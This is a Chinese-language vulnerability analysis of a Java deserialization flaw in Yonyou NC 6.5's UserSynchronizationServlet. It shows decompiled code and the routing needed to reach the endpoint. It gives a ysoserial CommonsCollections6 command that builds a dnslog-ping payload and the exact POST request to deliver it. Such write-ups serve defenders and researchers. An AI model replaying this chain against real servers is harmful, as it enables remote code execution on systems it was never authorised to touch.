用友NC UserSynchronizationServlet 反序列化漏洞分析
漏洞介绍用友NC系统UserSynchronizationServlet方法存在反序列化漏洞,攻击者可执行任意命令,获取敏感信息。 影响版本用友NC6.5漏洞分析漏洞位于nc.bs.pub.im.UserSynchronizationServlet接口漏洞代码:很明显的反序列化漏洞, 接收POST请求时,读取了输入流,之后对输入流方法进行in.readObject()造成了反序列化漏洞 接下来构造
漏洞介绍
用友NC系统UserSynchronizationServlet方法存在反序列化漏洞,攻击者可执行任意命令,获取敏感信息。
影响版本
用友NC6.5
漏洞分析
漏洞位于nc.bs.pub.im.UserSynchronizationServlet接口
findstr /msi /c:"UserSynchronizationServlet" *.jar
漏洞代码:
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package nc.bs.pub.im;
import com.uap.im.impl.IMUserQueryServiceImpl;
import common.IMUser;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.List;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import nc.bs.logging.Logger;
import net.sf.json.JSONArray;
import uap.im.pub.utils.RSAUtils;
public class UserSynchronizationServlet extends HttpServlet {
private static final long serialVersionUID = 5734336943919144855L;
public UserSynchronizationServlet() {
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
ObjectInputStream in = new ObjectInputStream(request.getInputStream());
HashMap<Object, Object> headInfo = new HashMap();
try {
headInfo = (HashMap)in.readObject();
} catch (ClassNotFoundException var14) {
ClassNotFoundException e1 = var14;
e1.printStackTrace();
}
try {
String ts = (String)headInfo.get("ts");
String dsName = (String)headInfo.get("dsName");
String servicecode = (String)headInfo.get("servicecode");
String encode = (String)headInfo.get("encode");
Boolean isAuth = RSAUtils.serviceAuthCheck(servicecode, encode);
ObjectOutputStream oos = null;
if (isAuth) {
List<IMUser> contactsList = (new IMUserQueryServiceImpl()).userSynchronization(ts, dsName);
JSONArray userJsonArray = null;
if (contactsList != null && contactsList.size() > 0) {
userJsonArray = JSONArray.fromObject(contactsList);
}
oos = new ObjectOutputStream(response.getOutputStream());
oos.writeObject(userJsonArray);
oos.flush();
}
} catch (Exception var13) {
Exception e = var13;
Logger.error("[ERROR 4 IM]", e);
}
}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
}很明显的反序列化漏洞, 接收POST请求时,读取了输入流,之后对输入流方法进行in.readObject()造成了反序列化漏洞

接下来构造请求URL,要调用UserQueryServiceServlet类,只要在请求路由加上/~包名称+UserSynchronizationServlet类的完整路径即可
查看系统的Web.xml,可以看见请求/service和/servlet前缀的都经过NCInvokerServlet方法处理

NCInvokerServlet接口的doAction方法如下:
private void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String pathInfo = request.getPathInfo();
log.debug("Before Invoke: " + pathInfo);
long requestTime = System.currentTimeMillis();
try {
pathInfo = pathInfo.trim();
String moduleName = null;
String serviceName = null;
int beginIndex;
if(pathInfo.startsWith("/~")) {
moduleName = pathInfo.substring(2);
beginIndex = moduleName.indexOf("/");
if(beginIndex >= 0) {
serviceName = moduleName.substring(beginIndex);
if(beginIndex > 0) {
moduleName = moduleName.substring(0, beginIndex);
} else {
moduleName = null;
}
} else {
moduleName = null;
serviceName = pathInfo;
}
} else {
serviceName = pathInfo;
}
String method;
obj = this.getServiceObject(moduleName, serviceName);
if(obj instanceof Servlet) {
Logger.init(obj.getClass());
try {
if(obj instanceof GenericServlet) {
((GenericServlet)obj).init();
}
this.preRemoteProcess();
((Servlet)obj).service(request, response);
this.postRemoteProcess();
...
} else if(obj instanceof IHttpServletAdaptor) {
IHttpServletAdaptor msg = (IHttpServletAdaptor)obj;
this.preRemoteProcess();
msg.doAction(request, response);
this.postRemoteProcess();主要功能是获得url路径后,如果是以/~开头,截取第一部分为moduleName,然后再截取第二部分为serviceName,再根据getServiceObject(moduleName, serviceName)实现任意Servlet的调用。
这里包名称是uapim,再加上方法的完整路径就能进行请求了
所以这里的路由为:
servlet/~uapim/nc.bs.pub.im.UserSynchronizationServlet用友反序列化漏洞存在cc依赖,这里就直接使用ysoserial-all.jar生成cc6的利用链请求dnslog,保存到本地的c.bin文件中
java -jar ysoserial-all.jar CommonsCollections6 "ping xxe.jagvy1.dnslog.cn" > c.bin漏洞复现
POST /servlet/~uapim/nc.bs.pub.im.UserSynchronizationServlet HTTP/1.1
Host:
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
{{file{c:\c.bin}}}

该漏洞存在于用友NC6.5的UserSynchronizationServlet,因未过滤输入流导致远程代码执行。
由 AI 根据全文自动生成,仅供参考,以原文为准